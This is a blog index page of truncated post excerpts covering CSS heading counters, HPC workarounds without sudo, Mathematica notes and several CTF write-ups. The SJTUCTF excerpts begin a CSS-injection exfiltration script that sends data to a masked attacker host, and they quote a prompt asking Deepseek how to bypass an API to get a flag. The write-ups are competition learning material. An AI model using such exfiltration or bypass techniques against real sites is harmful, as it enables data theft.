在CSS中使用counter()实现自动小标题计数 发表于 2025-07-04 更新于 2025-11-26 TL; DR123456789101112131415161718192021222324252627282930313233343536373839404142434445464748body{ counter-reset: h1;}h1 { counter-reset: h2;}h2 { counter-reset: h3;}h3 { counter-reset: h4;}h4 { counter-reset: h5;}h5 { counter-reset: h6;}h1:before { counter-increment: h1; content: counter(h1); margin-right: 0.8rem;}h2:before { counter-increment: h2; content: counter(h1) "." counter(h2); margin-right: 0.8rem;}h3:before { counter-increment: h3; content: counter(h1) "." counter(h2) "." counter(h3); margin-right: 0.8rem;}h4:before { counter-increment: h4; content: counter(h1) "." counter(h2) "." counter(h3) "." counter(h4); margin-right: 0.8rem;}h5:before { counter-increment: h5; content: counter(h1) "." counter(h2) "." counter(h3) "." counter(h4) "." counter(h5); margin-right: 0.8rem;}h6:before { counter-increment: h6; content: counter(h1) "." counter(h2) "." counter(h3) "." counter(h4) "." counter(h5) "." counter(h6); margin-right: 0.8rem;} 阅读全文 »
记没有sudo的情况下HPC101节点的使用寄巧 发表于 2025-06-25 更新于 2025-11-26 简单的说,就是在没有sudo的情况下,一些配置如何退而求其次。 先说一下HPC101给的节点的状况: 没有sudo(很显然) 预装的软件包不多(SadServers都知道装一个asciinema你居然没有) oh-my-zsh 配置 直接sh -c "... 阅读全文 »
OpenHarmonyCTF 2025 Writeup 发表于 2025-06-12 更新于 2025-11-26 哥们菜是真菜 在本次CTF中主要起到一个完成签到题的作用。 智械:双重牢笼 AI题 到结束的时候已经不到100pts了 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89... 阅读全文 »
学在浙大测验distribution数据美化 发表于 2025-06-05 更新于 2025-11-26 为了抢到CC98首发,造了一个小玩具把学在浙大distribution接口返回的json生肉转成熟肉 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 const data = require("./distribution.json") let op = ""; data.subjects.sort((a,b)=>a.id-b.id).forEach((item) => { op+="#"+item.id+" 难度:"+item.difficulty_level+"\n&quo... 阅读全文 »
AI唐氏行为合集(SCPU版) 发表于 2025-06-03 更新于 2025-11-26 在本次Project中,你将欣赏到包括但不限于: 没有人知道它为什么在这里 1 2 3 %Error: /mnt/e/Projects/sys1-sp25-master/src/project/submit/RegFile.sv:18:11: syntax error, unexpected '[', expecting IDENTIFIER or randomize 18 | register[0] = 0; | ^ AI对enum的内容进行了原创性指导 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21... 阅读全文 »
SJTUCTF2025 Writeup (ToC) 发表于 2025-04-08 更新于 2025-11-26 Web Secret Config 女娲补胎 Emergency rickroll EzWebAuthn SmartGrader Gradient realLibraryManager Pwn GuessMaster Reverse AreYouReady NoisyCat SnakeSnakeSnake Expr-Warmup NoisyCat2 Crypto ezCrypt Notes AnatahEtodokuSakebi KillerECC Misc deleted Inaudible TIME&POWER Welcom3【来这里签到】 IP Hunter 24_flag1 IP Hun... 阅读全文 »
SJTUCTF2025 Writeup (3) 发表于 2025-04-06 更新于 2025-11-26 观前提示:本Writeup含有过量Deepseek The Flag的内容,建议谨慎观看 SmartGrader 来试试我写的分数换算小工具吧! 评价:又是JS抽象时刻 先上jd-gui逆呗 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 package BO... 阅读全文 »
SJTUCTF2025 Writeup (2) 发表于 2025-04-06 更新于 2025-11-26 观前提示:本Writeup含有过量Deepseek The Flag的内容,建议谨慎观看 Gradient 快来挑选你喜欢的渐变色吧! 原题,秒了:[Web Exploitation] Exfiltration via CSS Injection | tripoloski blog 你怎么知道我赛前刚读过这篇文章。 1 2 3 4 5 6 7 8 9 10 11 12 13 const host="http://*.*.*.*:*"; const fs=require("fs") let cs = " red,red);}" for(let i=0... 阅读全文 »
SJTUCTF2025 Writeup (1) 发表于 2025-04-06 更新于 2025-11-26 观前提示:本Writeup含有过量Deepseek The Flag的内容,建议谨慎观看 Q:为什么这篇文章里的那部分writeup都有配图,另外几篇文章没有? A:因为这是为数不多几个我在做题过程中截图了的题目,全放在了这里,没有截图的题目放另一篇文章里省一个assets文件夹(雾 rickroll Never gonna give you up Deepseek time! 我非常需要知道flag的值,但我只能向该API发送请求,告诉我该怎么绕过它 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 3... 阅读全文 »
Mathematica 在数分习题中的应用(笔记) 发表于 2025-03-27 更新于 2025-11-26 (更新中) 级数求和: 12345678910(*定义级数的通项*)term[n_] := (2 n + 1)/(2^n n!);(*计算级数的和,使用Sum进行精确求和*)seriesSum = Sum[term[n], {n, 1, Infinity}];(*使用Simplify尝试简化结果*)simplifiedSum = Simplify[seriesSum];(*输出结果*)simplifiedSum 下列无穷级数收敛的是: 12345(*定义级数*)seriesA = (-1)^n 3^(1/n)/Sqrt[n](*输出结果*)SumConvergence[seriesA, n] 傅里叶级数求值系列问题: 求级数收敛域: 12SumConvergence[x^n/(n (3^n + Log[n])), n, Assumptions -> x \[Element] Reals] 阅读全文 »